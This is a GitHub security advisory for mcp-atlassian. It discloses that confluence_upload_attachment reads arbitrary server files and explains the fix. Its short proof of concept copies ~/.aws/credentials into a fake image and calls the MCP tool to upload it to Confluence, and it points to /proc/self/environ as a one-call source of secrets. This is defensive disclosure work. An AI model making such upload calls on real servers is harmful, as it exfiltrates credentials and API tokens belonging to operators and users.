GHSA-6cr4-ccf3-x7h4
MCP Atlassian: Arbitrary file read via confluence_upload_attachment allows exfiltration of server credentials
Quick fix
GHSA-6cr4-ccf3-x7h4 — mcp-atlassian: upgrade to the fixed version with the command below.
pip install --upgrade 'mcp-atlassian>=0.22.0'Details
### Summary
Missing path validation in `confluence_upload_attachment` allows any authenticated MCP client to read arbitrary files from the server filesystem and exfiltrate their contents to Confluence. On Linux deployments, `/proc/self/environ` yields all runtime secrets in a single call.
--- ### Details
`AttachmentsMixin.upload_attachment()` in `src/mcp_atlassian/confluence/attachments.py` opens the caller-supplied `file_path` with no boundary check:
```python # line 477 files = {"file": (filename, open(file_path, "rb"))} ``` The download path was correctly hardened in GHSA-xjgw-4wvw-rgm4 via `validate_safe_path()` (lines 223, 272). That fix was not applied to the upload path, leaving it completely unguarded. The MCP tool layer (`servers/confluence.py:1295`) passes `file_path` verbatim with no additional sanitization.
--- ### PoC
```bash # 1. Prepare target file (macOS demo; on Linux use /proc/self/environ directly) cp ~/.aws/credentials /tmp/diagram.png
# 2. Call the MCP tool confluence_upload_attachment( content_id = "<any page attacker can edit>", file_path = "/tmp/diagram.png" )
# 3. Download attachment from Confluence — contains raw credentials ``` Tested on mcp-atlassian 0.21.1 against live Confluence Cloud. Attachment confirmed uploaded and retrieved with full credential content intact.
--- ### Impact Any MCP client with edit access to one Confluence page can read arbitrary files from the server process. On shared/Docker deployments, `/proc/self/environ` exposes all users' API tokens in a single request. Exfiltrated Atlassian tokens provide persistent API access independent of MCP, surviving server shutdown or patching.
Incomplete fix of GHSA-xjgw-4wvw-rgm4 — arbitrary file read on upload mirrors the arbitrary file write on download fixed in that advisory.
--- ### Suggested Fix
```python # src/mcp_atlassian/confluence/attachments.py — upload_attachment() # Add after abspath conversion, before open():
try: validate_safe_path(file_path) except ValueError as e: return {"success": False, "error": str(e)} ```
Same fix required in `upload_attachments()` and `src/mcp_atlassian/jira/attachments.py`.
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References
- https://github.com/sooperset/mcp-atlassian/security/advisories/GHSA-6cr4-ccf3-x7h4[WEB]
- https://github.com/sooperset/mcp-atlassian/pull/1448[WEB]
- https://github.com/sooperset/mcp-atlassian/commit/b041733473f95119dd539542a43c280737a8e460[WEB]
- https://github.com/sooperset/mcp-atlassian[PACKAGE]
- https://github.com/sooperset/mcp-atlassian/releases/tag/v0.22.0[WEB]